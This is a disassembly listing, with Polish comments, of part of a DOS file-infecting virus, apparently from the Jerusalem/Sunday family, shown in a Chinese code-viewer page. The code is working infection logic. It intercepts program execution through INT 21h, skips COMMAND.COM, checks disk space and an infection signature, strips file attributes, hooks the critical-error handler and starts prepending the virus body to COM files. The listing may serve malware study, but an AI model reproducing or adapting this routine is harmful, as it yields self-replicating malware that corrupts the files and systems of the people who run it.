📄 j_sundyb.lst
字号:
MOV AX,4B00h ;Load & Execute ;9495 B8 00 4B
POPF ;9498 9D
JMP DWORD PTR CS:L0017 ;old int 21h ;9499 2E FF 2E 17 00
;<- uruchamianie programu
L949E: CMP BYTE PTR CS:L000E,1 ;ptr aktywnosci wirusa ;949E 2E 80 3E 0E 00 01
JZ L948A ;-> aktywny ;94A4 74 E4
MOV WORD PTR CS:L0070,0FFFFh ;File handle ;94A6 2E C7 06 70 00 FF FF
MOV WORD PTR CS:L008F,0 ;94AD 2E C7 06 8F 00 00 00
MOV CS:L0080,DX ;path do programu ;94B4 2E 89 16 80 00
MOV CS:L0082,DS ;94B9 2E 8C 1E 82 00
PUSH AX ;94BE 50
PUSH BX ;94BF 53
PUSH CX ;94C0 51
PUSH DX ;94C1 52
PUSH SI ;94C2 56
PUSH DI ;94C3 57
PUSH DS ;94C4 1E
PUSH ES ;94C5 06
CLD ;94C6 FC
MOV DI,DX ;94C7 8B FA
XOR DL,DL ;aktualny drive ;94C9 32 D2
CMP BYTE PTR [DI+1],':' ;czy path z drive ? ;94CB 80 7D 01 3A
JNZ L94D6 ;-> nie, aktualny ;94CF 75 05
MOV DL,[DI] ;94D1 8A 15
AND DL,1FH ;na numer drive ;94D3 80 E2 1F
L94D6: MOV AH,36H ;Get Disk Free Space ;94D6 B4 36
INT 21H ;94D8 CD 21
CMP AX,0FFFFh ;94DA 3D FF FF
JNZ L94E2 ;-> drive number OK ;94DD 75 03
L94DF: JMP L9768 ;<- drive number invalid ;94DF E9 86 02
L94E2: MUL BX ;<sec per clus>*<avl clus> ;94E2 F7 E3
MUL CX ;*<bytes per sec> ;94E4 F7 E1
OR DX,DX ;94E6 0B D2
JNZ L94EF ;-> ponad 64 KB wolne ;94E8 75 05
CMP AX,OFFSET L065F ;=1631=dlugosc wirusa ;94EA 3D 5F 06
JB L94DF ;94ED 72 F0
L94EF: MOV DX,CS:L0080 ;path do programu ;94EF 2E 8B 16 80 00
PUSH DS ;94F4 1E
POP ES ;94F5 07
XOR AL,AL ;poszukiwanie konca ;94F6 32 C0
MOV CX,41h ;94F8 B9 41 00
REPNZ SCASB ;94FB F2 AE
MOV SI,CS:L0080 ;zamiana na duze litery ;94FD 2E 8B 36 80 00
L9502: MOV AL,[SI] ;9502 8A 04
OR AL,AL ;9504 0A C0
JZ L9516 ;9506 74 0E
CMP AL,61H ;'a' ;9508 3C 61
JB L9513 ;950A 72 07
CMP AL,7AH ;'z' ;950C 3C 7A
JA L9513 ;950E 77 03
SUB BYTE PTR [SI],20H ;' ' ;9510 80 2C 20
L9513: INC SI ;9513 46
JMP SHORT L9502 ;9514 EB EC
L9516: MOV CX,0Bh ;czy to command ? ;9516 B9 0B 00
SUB SI,CX ;9519 2B F1
MOV DI,OFFSET L0084 ;'command.com' ;951B BF 84 00
PUSH CS ;951E 0E
POP ES ;951F 07
MOV CX,0Bh ;9520 B9 0B 00
REPZ CMPSB ;9523 F3 A6
JNZ L952A ;-> nie ;9525 75 03
JMP L9768 ;-> tak, odpuszczamy ;9527 E9 3E 02
L952A: MOV AX,4300h ;Get File Attributes ;952A B8 00 43
INT 21H ;952D CD 21
JB L9536 ;952F 72 05
MOV CS:L0072,CX ;atrybut zarazanego zbioru ;9531 2E 89 0E 72 00
L9536: JB L955D ;9536 72 25
XOR AL,AL ;znacznik zbioru COM ;9538 32 C0
MOV CS:L004E,AL ;0=COM, 1=EXE ;953A 2E A2 4E 00
PUSH DS ;szukamy konca nazwy ;953E 1E
POP ES ;953F 07
MOV DI,DX ;9540 8B FA
MOV CX,41h ;9542 B9 41 00
REPNZ SCASB ;9545 F2 AE
CMP BYTE PTR [DI-2],4DH ;'M'-ostatnia litera ;9547 80 7D FE 4D
JZ L9558 ;-> tak, COM ;954B 74 0B
CMP BYTE PTR [DI-2],6DH ;'m' ;954D 80 7D FE 6D
JZ L9558 ;-> tak, com ;9551 74 05
INC BYTE PTR CS:L004E ;<- EXE ;9553 2E FE 06 4E 00
L9558: MOV AX,3D00h ;Open Handle ;9558 B8 00 3D
INT 21H ;955B CD 21
L955D: JB L95B9 ;955D 72 5A
MOV CS:L0070,AX ;File handle ;955F 2E A3 70 00
MOV BX,AX ;9563 8B D8
MOV AX,4202h ;Move file ptr EOF+offs ;9565 B8 02 42
MOV CX,0FFFFh ;-5 (piec ostatnich bajtow) ;9568 B9 FF FF
MOV DX,0FFFBh ;956B BA FB FF
INT 21H ;956E CD 21
JB L955D ;9570 72 EB
ADD AX,5 ;+5 bajtow sygnatury ;9572 05 05 00
MOV CS:L0011,AX ;dlugosc programu oryginalna ;9575 2E A3 11 00
MOV CX,5 ;dlugosc sygnatury ;9579 B9 05 00
MOV DX,OFFSET L006B ;bufor na sygnature ;957C BA 6B 00
MOV AX,CS ;957F 8C C8
MOV DS,AX ;9581 8E D8
MOV ES,AX ;9583 8E C0
MOV AH,3FH ;Read Handle ;9585 B4 3F
INT 21H ;9587 CD 21
MOV DI,DX ;przeczytana sygnatura ;9589 8B FA
MOV SI,OFFSET L0005 ;wzorzec sygnatury ;958B BE 05 00
REPZ CMPSB ;958E F3 A6
JNZ L9599 ;-> jeszcze nie zarazony ;9590 75 07
MOV AH,3EH ;Close Handle ;9592 B4 3E
INT 21H ;9594 CD 21
JMP L9768 ;9596 E9 CF 01
;<----- zarazanie zbioru
L9599: MOV AX,3524h ;Get int 24h ;9599 B8 24 35
INT 21H ;959C CD 21
MOV L001B,BX ;959E 89 1E 1B 00
MOV L001D,ES ;95A2 8C 06 1D 00
MOV DX,OFFSET L0213 ;L9393 ;95A6 BA 13 02
MOV AX,2524h ;Set int 24h ;95A9 B8 24 25
INT 21H ;95AC CD 21
LDS DX,DWORD PTR L0080 ;ptr na path ;95AE C5 16 80 00
XOR CX,CX ;95B2 33 C9
MOV AX,4301h ;Set File attributes ;95B4 B8 01 43
INT 21H ;95B7 CD 21
L95B9: JB L95F6 ;95B9 72 3B
MOV BX,CS:L0070 ;File handle ;95BB 2E 8B 1E 70 00
MOV AH,3EH ;Close Handle ;95C0 B4 3E
INT 21H ;95C2 CD 21
MOV WORD PTR CS:L0070,0FFFFh ;File handle ;95C4 2E C7 06 70 00 FF FF
MOV AX,3D02h ;Open Handle R/W ;95CB B8 02 3D
INT 21H ;95CE CD 21
JB L95F6 ;95D0 72 24
MOV CS:L0070,AX ;File handle ;95D2 2E A3 70 00
MOV AX,CS ;95D6 8C C8
MOV DS,AX ;95D8 8E D8
MOV ES,AX ;95DA 8E C0
MOV BX,L0070 ;File handle ;95DC 8B 1E 70 00
MOV AX,5700h ;Get File Date/Time ;95E0 B8 00 57
INT 21H ;95E3 CD 21
MOV L0074,DX ;95E5 89 16 74 00
MOV L0076,CX ;95E9 89 0E 76 00
MOV AX,4200h ;Move file ptr BOF+offs ;95ED B8 00 42
XOR CX,CX ;95F0 33 C9
MOV DX,CX ;95F2 8B D1
INT 21H ;95F4 CD 21
L95F6: JB L9636 ;95F6 72 3E
CMP BYTE PTR L004E,0 ;0=COM, 1=EXE ;95F8 80 3E 4E 00 00
JZ L9603 ;95FD 74 04
JMP SHORT L965C ;95FF EB 5B
NOP ;9601 90
NOP ;9602 90
;<----- Zarazenie COM'a
L9603: MOV BX,1000h ;zadanie 64KB bufora pamieci ;9603 BB 00 10
MOV AH,48H ;allocate memory ;9606 B4 48
INT 21H ;9608 CD 21
JNB L9617 ;-> powiodlo sie ;960A 73 0B
MOV AH,3EH ;Close Handle ;960C B4 3E
MOV BX,L0070 ;File handle ;960E 8B 1E 70 00
INT 21H ;9612 CD 21
JMP L9768 ;9614 E9 51 01
L9617: INC WORD PTR L008F ;9617 FF 06 8F 00
MOV ES,AX ;nowy blok pamieci ;961B 8E C0
XOR SI,SI ;961D 33 F6
MOV DI,SI ;961F 8B FE
MOV CX,OFFSET L065F ;9621 B9 5F 06
REPZ MOVSB ;przepisanie do bufora ;9624 F3 A4
MOV DX,DI ;pierwsze wolne miejsce ;9626 8B D7
MOV CX,L0011 ;dlugosc programu oryginalna ;9628 8B 0E 11 00
MOV BX,L0070 ;File handle ;962C 8B 1E 70 00
PUSH ES ;9630 06
POP DS ;9631 1F
MOV AH,3FH ;Read Handle ;9632 B4 3F
INT 21H ;9634 CD 21
L9636: JB L9657 ;9636 72 1F
ADD DI,CX ;na poczatek zbioru ;9638 03 F9
XOR CX,CX ;963A 33 C9
MOV DX,CX ;963C 8B D1
MOV AX,4200h ;Move file ptr BOF+offs ;963E B8 00 42
INT 21H ;9641 CD 21
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -